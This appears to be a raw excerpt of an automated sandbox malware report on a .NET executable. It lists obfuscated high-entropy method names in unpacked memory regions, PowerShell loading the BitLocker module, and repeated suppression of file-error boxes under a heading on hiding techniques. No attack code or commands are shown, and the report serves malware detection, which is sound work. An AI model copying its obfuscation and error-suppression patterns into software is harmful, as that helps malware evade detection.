Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, eEFA2Q7p9QYJBbocTC.cs	High entropy of concatenated method names: 'g0W0bF1Fmq', 'jWM01boqK9', 'ylI06OiYfq', 'NUk0AxTmTD', 'n4L0hYX2ZD', 'hrf0llqpet', 'sBt0GkW6MB', 'qOEiwZpvQL', 'pTYie3KEn4', 'zrjixwtmAq'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, RuKXdbNqM3dp2oD6yS.cs	High entropy of concatenated method names: 'KJRYg1ve2yD7gPRcF2O', 'dUdVtWvfc3PMenZuxXI', 'wrkGiAlsi0', 'u7wG0u7Rri', 'YxHGtGgP7T', 'xN7FuGvxkKgaMhaMSjA', 'BMHLqJvpciMGXagmoPt', 'HsCRUyvP9yJU6aepABv'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, eBfLGP5uru6CY0dB1U.cs	High entropy of concatenated method names: 'ufgdRsWf9a', 'BnSdL3oqTu', 'pfMdWwoOWd', 'aQMd5LCyLN', 'M18dOYa6nl', 'ORZdMXISSi', 'TTDdEhmEbL', 'Kmpdi7je8d', 'QTmd0yKvf4', 'sh8dt7oOas'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, XWwa6bWsPleF4dvV8t.cs	High entropy of concatenated method names: 'bkxhK9LrwG', 'gQrh4Nt1lV', 'fIohZHbBDj', 'cOJhkHiBbC', 'Ifhhuo1A64', 'GVlhrYnann', 'tBihwiJMmv', 'uoHheYF2Yo', 'Ft6hx2MEDy', 'aDNh7AbYlj'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, LPAgiLrIFHs4ZRwD8d.cs	High entropy of concatenated method names: 'pAQEeCMw4N', 'd58E7IwaDn', 'cqpijbKojH', 'cR8ibj6rey', 'wMxEnEV1PD', 'EMHEHXZio3', 'DauEJKVSLU', 'yw6EKKqrR9', 'TdNE4C5jiL', 'dDTEZ0MhFp'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, ySeEeqxJfYUrYvIswD.cs	High entropy of concatenated method names: 'PHviX7MQdB', 'C4qiNt4JQQ', 'OeDiaS3rQi', 'oWFiS9PxML', 'btxiK5aKV6', 'YShigbY9yr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, UJA3GRK8lGX2d9ulYH.cs	High entropy of concatenated method names: 'YJ0O9yocjL', 'iLUOHvb4hO', 'sCwOKb56g5', 'sKXO4SHSCS', 'ph8ON2p1Ai', 'aH0OahYBMW', 'ypCOSHpoUo', 'AGJOg6d8Z4', 'g4kOfi0ntq', 'IOgOT2wVF6'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, cowFnQbjOWIvD4misX2.cs	High entropy of concatenated method names: 'SD20mMhvEG', 'fD70yrM1MC', 'yfq0Pvb4F3', 'oOS0RoQlnh', 'Wp902v7lvd', 'Cn30L1iCuE', 'MLa0oApMVG', 'tyn0WOfOCd', 't2m05SD2M4', 'VCv0IH4oCk'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, aAZly5Crsqfj1ghU4r.cs	High entropy of concatenated method names: 'Gsu1FXOZt8', 'Dx91AM9aA3', 'ShI1hIBfqr', 'rHH1dwUKaA', 'CAK1lcEsLh', 'oKL1G4IU2N', 'PDU1Qe2fAy', 'oCD1CKPOGW', 'vIJ1YTxhOV', 'obR1D2sAcA'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, vimOCXIBCjJPTdQTW9.cs	High entropy of concatenated method names: 'PsFl2RGWll', 'IsploSHt76', 'i1Zda2fag1', 'KmOdSN9M99', 'Nncdgp89wc', 'yOKdfEu8Gu', 'C4HdTkcafj', 'VTLd8rP29g', 'L0IdchnI1t', 'vU0d9bjn01'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, KMlII1eladZaP37uKJ.cs	High entropy of concatenated method names: 'VEpiA1jkJJ', 'r7jihUsJg5', 'BCBidW1VUV', 'FDSilTALAr', 'qUQiGU3dv9', 'SThiQYoFr5', 'xbYiCfE0Uu', 'FRuiYh76eY', 'xtsiDranEx', 'fqmiUEo5Co'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, dEy136JlvLIeHAG4Vr.cs	High entropy of concatenated method names: 'q4QqWJtOA2', 'FQtq5abB2e', 'xwNqXBvurJ', 'PQGqNTkvkZ', 'Wa2qS4uyaS', 'elwqg2gmTg', 'GCEqTsNcr0', 'AN1q8jQ8H4', 'sbnq9NxRN9', 'BFfqn4T5Gn'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, KAqfjpc2gGlfOCpH2c.cs	High entropy of concatenated method names: 'tH2QmZP68p', 'ODrQygOJpn', 'z6jQP6Tb4w', 'GsoQR9uJVs', 'cpkQ2yuPRV', 'ROKQLYK7L7', 'PttQo7H6Y7', 'v6JQWyXGwm', 'PjOQ5KC338', 'NHQQIIkD0O'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, AZQ9PHv32R6FkTCKsI.cs	High entropy of concatenated method names: 'yxiPPifbu', 'XWxRljALV', 'tnQLYdgOG', 'twioBhgGQ', 'gjX5MnAvy', 'h7tI6gQ3p', 'zFZ6TXIQZZSZV1in11', 'Xdcp3wNXkCeDOFPiQK', 'w9miqciIe', 'WJstmBV3O'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, kc688j6nmmtYoQgfN7.cs	High entropy of concatenated method names: 'xaebQWwa6b', 'uPlbCeF4dv', 'zurbDu6CY0', 'hB1bUU3imO', 'gQTbOW9DvP', 'xbZbMIdhfY', 'lGpTyenY6tRpEcKYy3', 'uqQ8I8HSnSgdfNkkOV', 'QArbbGEWV6', 'vf5b1ZjqbB'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, ywRNQ9kpJpmw0oOgQg.cs	High entropy of concatenated method names: 'jGnEDJA6dH', 'IX4EUWsXJf', 'ToString', 'n9SEANfeYK', 'UTtEhPXQJg', 'LxbEd8jrmq', 'cx0ElrMROx', 'l0xEGFj1jU', 'iQnEQHw247', 'lviECyyuV7'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, H64pdQb1gX4rea6PeLc.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QZKtKR2WHh', 'dept4Q1cYE', 'ARftZGplkh', 'EVttkPE8Ku', 'UNXtu82rl2', 'NSTtrTWFsE', 'UeKtwSoyp6'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, CvS56KZhYxBb5epEhU.cs	High entropy of concatenated method names: 'ToString', 'JP7Mnyl0DO', 'I6JMNJCTUI', 'hFDMapuBTD', 'KVDMSlPM5D', 'zilMgC3ON6', 'a16MfnpnZH', 'bYeMTVqAeC', 'QPkM8RX7WB', 'fcfMc5ZiWd'
Source: 0.2.NU1aAbSmCr.exe.3cf89a0.4.raw.unpack, lvPpbZXIdhfYh5i4EU.cs	High entropy of concatenated method names: 'mm0GFt3LIj', 'TwtGhuhONn', 'yBcGlQVTuc', 'V6eGQrpt3m', 'RR4GCqr4hb', 'Smlluavpuu', 'BSMlrrgbGy', 'bv9lwh5u8W', 'UlPleu8yMj', 'q4ZlxCJsGN'
Source: 0.2.NU1aAbSmCr.exe.2a6e8c4.1.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 0.2.NU1aAbSmCr.exe.2ab4188.0.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 0.2.NU1aAbSmCr.exe.2abd7a0.3.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, tQdy11d6ImjZgTeIqp.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'tcyvx7LDs1', 'ygOv7QJADU', 'oaAvzorxx6', 'qcE1j45nu0', 'FCb1bojcC8', 'xb81vVHfKB', 'N8l11rWAJn', 'QKQpqbjXruDqFYyVtwZ'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, IVbgTfTQ1POo67aCur.cs	High entropy of concatenated method names: 'fTqQAoGQiT', 'D1iQdFCFdF', 'VJDQGmdkwo', 'GamG7MUlLq', 'ikHGzGLb3y', 'IjOQjZNBCW', 'q9BQbbGY9n', 'jZlQvWB98n', 'koVQ1fXRNF', 'c8nQ6f1SsE'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, poGijHhIotUk5asnJA.cs	High entropy of concatenated method names: 'Dispose', 's6hbxr3l7U', 'MGJvN5hncE', 'lgAHHPrn9u', 'LTMb7lII1l', 'HdZbzaP37u', 'ProcessDialogKey', 'RJyvjSeEeq', 'QfYvbUrYvI', 'uwDvvFEFA2'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, eEFA2Q7p9QYJBbocTC.cs	High entropy of concatenated method names: 'g0W0bF1Fmq', 'jWM01boqK9', 'ylI06OiYfq', 'NUk0AxTmTD', 'n4L0hYX2ZD', 'hrf0llqpet', 'sBt0GkW6MB', 'qOEiwZpvQL', 'pTYie3KEn4', 'zrjixwtmAq'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, RuKXdbNqM3dp2oD6yS.cs	High entropy of concatenated method names: 'KJRYg1ve2yD7gPRcF2O', 'dUdVtWvfc3PMenZuxXI', 'wrkGiAlsi0', 'u7wG0u7Rri', 'YxHGtGgP7T', 'xN7FuGvxkKgaMhaMSjA', 'BMHLqJvpciMGXagmoPt', 'HsCRUyvP9yJU6aepABv'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, eBfLGP5uru6CY0dB1U.cs	High entropy of concatenated method names: 'ufgdRsWf9a', 'BnSdL3oqTu', 'pfMdWwoOWd', 'aQMd5LCyLN', 'M18dOYa6nl', 'ORZdMXISSi', 'TTDdEhmEbL', 'Kmpdi7je8d', 'QTmd0yKvf4', 'sh8dt7oOas'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, XWwa6bWsPleF4dvV8t.cs	High entropy of concatenated method names: 'bkxhK9LrwG', 'gQrh4Nt1lV', 'fIohZHbBDj', 'cOJhkHiBbC', 'Ifhhuo1A64', 'GVlhrYnann', 'tBihwiJMmv', 'uoHheYF2Yo', 'Ft6hx2MEDy', 'aDNh7AbYlj'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, LPAgiLrIFHs4ZRwD8d.cs	High entropy of concatenated method names: 'pAQEeCMw4N', 'd58E7IwaDn', 'cqpijbKojH', 'cR8ibj6rey', 'wMxEnEV1PD', 'EMHEHXZio3', 'DauEJKVSLU', 'yw6EKKqrR9', 'TdNE4C5jiL', 'dDTEZ0MhFp'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, ySeEeqxJfYUrYvIswD.cs	High entropy of concatenated method names: 'PHviX7MQdB', 'C4qiNt4JQQ', 'OeDiaS3rQi', 'oWFiS9PxML', 'btxiK5aKV6', 'YShigbY9yr', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, UJA3GRK8lGX2d9ulYH.cs	High entropy of concatenated method names: 'YJ0O9yocjL', 'iLUOHvb4hO', 'sCwOKb56g5', 'sKXO4SHSCS', 'ph8ON2p1Ai', 'aH0OahYBMW', 'ypCOSHpoUo', 'AGJOg6d8Z4', 'g4kOfi0ntq', 'IOgOT2wVF6'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, cowFnQbjOWIvD4misX2.cs	High entropy of concatenated method names: 'SD20mMhvEG', 'fD70yrM1MC', 'yfq0Pvb4F3', 'oOS0RoQlnh', 'Wp902v7lvd', 'Cn30L1iCuE', 'MLa0oApMVG', 'tyn0WOfOCd', 't2m05SD2M4', 'VCv0IH4oCk'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, aAZly5Crsqfj1ghU4r.cs	High entropy of concatenated method names: 'Gsu1FXOZt8', 'Dx91AM9aA3', 'ShI1hIBfqr', 'rHH1dwUKaA', 'CAK1lcEsLh', 'oKL1G4IU2N', 'PDU1Qe2fAy', 'oCD1CKPOGW', 'vIJ1YTxhOV', 'obR1D2sAcA'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, vimOCXIBCjJPTdQTW9.cs	High entropy of concatenated method names: 'PsFl2RGWll', 'IsploSHt76', 'i1Zda2fag1', 'KmOdSN9M99', 'Nncdgp89wc', 'yOKdfEu8Gu', 'C4HdTkcafj', 'VTLd8rP29g', 'L0IdchnI1t', 'vU0d9bjn01'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, KMlII1eladZaP37uKJ.cs	High entropy of concatenated method names: 'VEpiA1jkJJ', 'r7jihUsJg5', 'BCBidW1VUV', 'FDSilTALAr', 'qUQiGU3dv9', 'SThiQYoFr5', 'xbYiCfE0Uu', 'FRuiYh76eY', 'xtsiDranEx', 'fqmiUEo5Co'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, dEy136JlvLIeHAG4Vr.cs	High entropy of concatenated method names: 'q4QqWJtOA2', 'FQtq5abB2e', 'xwNqXBvurJ', 'PQGqNTkvkZ', 'Wa2qS4uyaS', 'elwqg2gmTg', 'GCEqTsNcr0', 'AN1q8jQ8H4', 'sbnq9NxRN9', 'BFfqn4T5Gn'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, KAqfjpc2gGlfOCpH2c.cs	High entropy of concatenated method names: 'tH2QmZP68p', 'ODrQygOJpn', 'z6jQP6Tb4w', 'GsoQR9uJVs', 'cpkQ2yuPRV', 'ROKQLYK7L7', 'PttQo7H6Y7', 'v6JQWyXGwm', 'PjOQ5KC338', 'NHQQIIkD0O'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, AZQ9PHv32R6FkTCKsI.cs	High entropy of concatenated method names: 'yxiPPifbu', 'XWxRljALV', 'tnQLYdgOG', 'twioBhgGQ', 'gjX5MnAvy', 'h7tI6gQ3p', 'zFZ6TXIQZZSZV1in11', 'Xdcp3wNXkCeDOFPiQK', 'w9miqciIe', 'WJstmBV3O'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, kc688j6nmmtYoQgfN7.cs	High entropy of concatenated method names: 'xaebQWwa6b', 'uPlbCeF4dv', 'zurbDu6CY0', 'hB1bUU3imO', 'gQTbOW9DvP', 'xbZbMIdhfY', 'lGpTyenY6tRpEcKYy3', 'uqQ8I8HSnSgdfNkkOV', 'QArbbGEWV6', 'vf5b1ZjqbB'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, ywRNQ9kpJpmw0oOgQg.cs	High entropy of concatenated method names: 'jGnEDJA6dH', 'IX4EUWsXJf', 'ToString', 'n9SEANfeYK', 'UTtEhPXQJg', 'LxbEd8jrmq', 'cx0ElrMROx', 'l0xEGFj1jU', 'iQnEQHw247', 'lviECyyuV7'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, H64pdQb1gX4rea6PeLc.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QZKtKR2WHh', 'dept4Q1cYE', 'ARftZGplkh', 'EVttkPE8Ku', 'UNXtu82rl2', 'NSTtrTWFsE', 'UeKtwSoyp6'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, CvS56KZhYxBb5epEhU.cs	High entropy of concatenated method names: 'ToString', 'JP7Mnyl0DO', 'I6JMNJCTUI', 'hFDMapuBTD', 'KVDMSlPM5D', 'zilMgC3ON6', 'a16MfnpnZH', 'bYeMTVqAeC', 'QPkM8RX7WB', 'fcfMc5ZiWd'
Source: 0.2.NU1aAbSmCr.exe.7a30000.6.raw.unpack, lvPpbZXIdhfYh5i4EU.cs	High entropy of concatenated method names: 'mm0GFt3LIj', 'TwtGhuhONn', 'yBcGlQVTuc', 'V6eGQrpt3m', 'RR4GCqr4hb', 'Smlluavpuu', 'BSMlrrgbGy', 'bv9lwh5u8W', 'UlPleu8yMj', 'q4ZlxCJsGN'
Source: 0.2.NU1aAbSmCr.exe.6e20000.5.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 0.2.NU1aAbSmCr.exe.2a652ac.2.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NU1aAbSmCr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
